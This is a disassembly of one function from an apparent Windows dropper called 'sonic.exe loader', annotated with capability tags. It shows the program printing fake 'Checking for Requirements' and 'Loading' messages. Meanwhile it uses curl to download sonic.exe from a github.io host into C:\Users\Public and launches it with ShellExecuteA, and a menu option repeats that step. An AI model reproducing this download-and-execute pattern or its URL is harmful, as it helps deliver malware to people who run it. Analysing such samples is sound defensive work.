Function at 0x140002360
Capabilities:
Create process on windows
Execute command
Manipulate console buffer

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp - 8], rax
mov ecx, 0x1b5
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x1b5
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea rcx, [0x140005480]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xor r14d, r14d
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], r14
mov ecx, 0x20
call fcn.140003240
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x28], 0x10
mov qword [rbp - 0x20], 0x1f
movups xmm0, xmmword [str.sonic.exe_loader]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], r14b
mov dword [rbp - 0x40], r14d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, r14d
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0xf
cmova rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x28]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003050
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140002463
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000245e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000245e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000327c
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
je 0x1400024ab
movsx eax, word [rbp - 0x2e]
movsx edi, word [rbp - 0x2a]
sub edi, eax
inc edi
movsx eax, word [rbp - 0x2c]
movsx ecx, word [rbp - 0x28]
sub ecx, eax
inc ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
test edx, edx
jle 0x1400024da
jmp 0x1400024b5
mov edi, 0x50
mov edx, 8
mov ebx, edx
nop word [rax + rax]
lea rdx, [0x140002af0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
sub rbx, 1
jne 0x1400024c0
mov ebx, 9
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov ecx, 0x20
call fcn.140003240
mov rdx, rax
mov qword [rbp - 0x38], rax
movdqa xmm0, xmmword [0x140005740]
movdqu xmmword [rbp - 0x28], xmm0
movups xmm0, xmmword [str._Starting_System_]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x140005688]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x140005690]
mov word [rax + 0x18], cx
movzx eax, byte [0x140005692]
mov byte [rdx + 0x1a], al
mov byte [rdx + 0x1b], 0
mov edx, edi
lea rcx, [rbp - 0x38]
call fcn.140001950
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140002592
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000258d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400026a1
call fcn.14000327c
mov edx, edi
call fcn.1400012c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
movdqa xmm1, xmmword [0x140005730]
movdqu xmmword [rbp - 0x28], xmm1
movsd xmm0, qword [str.Loading...]
movsd qword [rbp - 0x38], xmm0
movzx eax, word [0x1400056a0]
mov word [rbp - 0x30], ax
mov byte [rbp - 0x2e], 0
mov edx, edi
lea rcx, [rbp - 0x38]
call fcn.140001a50
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140002613
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000260e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000260e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000327c
lea ecx, [rdi - 0x14]
mov r8d, edi
call fcn.140001470
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov ecx, 0x30
call fcn.140003240
mov qword [rbp - 0x38], rax
movdqa xmm0, xmmword [0x140005750]
movdqu xmmword [rbp - 0x28], xmm0
movups xmm0, xmmword [str.__System_Ready__Loading_Complete_]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400056b8]
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x1400056c8]
mov byte [rax + 0x20], cl
mov byte [rax + 0x21], 0
mov edx, edi
lea rcx, [rbp - 0x38]
call fcn.140001950
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400026ad
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000327c
lea rcx, [0x140005480]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Checking_for_Requirements..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002d00
lea rcx, str.curl__s__o__C:UsersPublic_sonic.exe__https:__hotmom69420.github.io_sonic.exe_sonic.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x14000271b
lea rdx, str.Checking_for_Requirements_Completed__Executing_Main_Tool..._n
call fcn.140002d00
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.C:UsersPublic_sonic.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140002742
lea rdx, str.Download_failed_with_error_code:
call fcn.140002d00
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140002af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 0xc
nop word [rax + rax]
lea rcx, [0x140005480]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, edi
call fcn.140001c00
lea rdx, [rbp - 0x10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rbp - 0x10]
sub ecx, 1
je 0x140002849
sub ecx, 1
je 0x1400027b2
cmp ecx, 1
mov ecx, 0xfffffff5
je 0x1400028a6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, si
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Invalid_option._Please_try_again._n
jmp 0x14000285d
lea rcx, [0x140005480]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Loading_Menu..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002d00
lea rcx, str.curl__s__o__C:UsersPublic_sonic.exe__https:__hotmom69420.github.io_sonic.exe_sonic.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jne 0x140002820
lea rdx, str.Download_completed__Executing..._n
call fcn.140002d00
mov dword [rsp + 0x28], 2
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.C:UsersPublic_sonic.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140002869
lea rdx, str.Download_failed_with_error_code:
call fcn.140002d00
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140002af0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140002869
lea rcx, [0x140005480]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.All_Updated_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002d00
lea rdx, str._nPress_Enter_to_continue...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002d00
mov edx, 1
mov r8d, 0xffffffff
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::ignore_long_long___int64___int____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
jmp 0x140002750
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, si
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Exiting..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002d00
xor eax, eax
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.140003220
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret